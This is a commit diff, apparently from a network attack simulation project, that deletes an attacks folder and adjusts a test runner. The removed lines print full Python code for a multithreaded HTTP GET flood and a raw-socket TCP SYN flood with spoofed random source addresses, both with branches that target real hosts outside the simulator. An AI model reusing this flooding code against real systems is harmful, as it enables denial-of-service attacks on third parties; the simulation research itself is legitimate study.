Commits

Joshua Bonsink  committed 5d23358

removed the attacks folder

  • Participants
  • Parent commits f04b6d2

Comments (0)

Files changed (4)

File scenario/ddos_flooding/attacks/__init__.py

Empty file removed.

File scenario/ddos_flooding/attacks/http_get_flood.py

-import socket
-from threading import Thread
-import time
-
-def real_networking(hostname, port):
-    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM )
-    sock.connect((hostname, port))
-    sock.send("GET / HTTP/1.1\r\n\r\n")
-    sock.close()
-    
-def auto_send_request(hostname, port=80, num_request=10, node=None):
-    """
-    
-    This function is run in a separate thread. It sends http get requests to a
-    specific host.
-    
-    """    
-    if node.NODE_TYPE != 'sim_ns3':
-        for _ in range(num_request):
-            try:    
-                real_networking(hostname, port)
-            except socket.error as err:
-                print "ERROR: " + str(err)
-        return
-       
-    sock = node.create_sock({'type':'client', 'proto': 'tcp'})                
-    node.connect(sock, ((str(hostname), int(port))))
-    
-    time.sleep(5) 
-    for _ in range(num_request):
-        node.send(sock, "GET / HTTP/1.1\r\n\r\n") 
-                
-def start_http_get_flood(hostname, port=80, num_request=1000, num_threads=100, node=None):    
-    """Start the http get flooding.""" 
-    number_of_requests_per_thread = int(num_request/num_threads)    
-    try:
-        for _ in range(num_threads):
-            flood_thread = Thread( 
-                              target=auto_send_request,\
-                              args=(hostname, port, number_of_requests_per_thread, node) 
-                              )
-            flood_thread.start()
-    except (KeyboardInterrupt, SystemExit):
-        print "\n! Receive Keyboard interrupt, quitting threads. \n"

File scenario/ddos_flooding/attacks/tcp_syn_flood.py

-import socket
-import sys
-import time
-
-from random import randrange
-from threading import Thread
-
-NOT_VALID = [10, 127, 169, 172, 192]
-
-def generate_random_ip():
-    """Generate a random ip address"""
-    first = randrange(1, 256)
-    while first in NOT_VALID:
-        first = randrange(1, 256)
-
-    return ".".join([str(first), str(randrange(1, 256)), \
-                      str(randrange(1, 256)), str(randrange(1, 256))])  
-
-def create_real_socket():
-    try:
-        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
-    except socket.error as err:
-        print 'Socket could not be created. Error: ' + err
-        sys.exit()
-     
-        # tell kernel not to put in headers, since we are providing it
-        sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
-    return sock
-    
-        
-def auto_send_packets(port, dest_ip, num_packets, node):
-    """
-    
-    This function is run in a separate thread. It sends tcp syn packets to a
-    specific host.
-    
-    """
-    if node.NODE_TYPE != 'sim_ns3':
-        sock = create_real_socket()
-        for _ in range(num_packets):
-            source_ip = generate_random_ip()
-            packet = node.construct_packet(source_ip, dest_ip)
-            node.sendto(sock, packet, dest_ip , port)
-        return
-    
-    sock = node.create_sock({'type':'client', 'proto': 'tcp'})
-    node.connect(sock, ((str(dest_ip), int(port))))
-        
-    time.sleep(10) 
-    for _ in range(1):
-        source_ip = generate_random_ip()
-        #packet = node.construct_packet(sock, source_ip, dest_ip, socket.IPPROTO_TCP)
-        #node.send_packet(sock, packet)
-        
-    print("\nDone %i requests on %s" % (num_packets, dest_ip))    
-        
-def start_syn_flood(hostname, port, num_packets, num_threads, node):
-    """Start the tcp syn flood."""
-    dest_ip = socket.gethostbyname(hostname)
-        
-    num_packets_per_thread = int(num_packets/num_threads)
-    
-    try:
-        for _ in range(num_threads):
-            flood_thread = Thread( 
-                              target=auto_send_packets,\
-                              args=(port, dest_ip, num_packets_per_thread, node) 
-                              )
-            flood_thread.start()
-    except (KeyboardInterrupt, SystemExit):
-        print "\n! Receive Keyboard interrupt, quitting threads. \n"
-        
-    
-   

File test_simulation.py

 
 exper_options = get_available_experiments()
 scenario_option =  get_availabe_scenarios()
-skip_expr = ['topo_exp', 'manual_topo_exp', 'complex_net_exp']
-skip_scen = ['spamming', 'infecting']
+skip_expr = []
+skip_scen = ['spamming', 'infecting', 'file_exfiltration']
 
 fid = open ('test.out', 'w')
 
         print >>fid, '-' * 100
         print >>fid, 'testing experiment: [%s], scenario:[%s]'%(exper, scenario)
         print >>fid, '-' * 100
-        cmd = settings.ROOT + '/simulate.py -e ' + exper + ' -s ' + scenario
+        cmd = settings.ROOT + '/simulate.py -e ' + exper + ' -t 120 -s ' + scenario
         
         if exper == "complex_net_exp":
             cmd = cmd + " -f net_config/aro_demo/topology.inet --net_settings=net_config/aro_demo/nf_net_settings.py"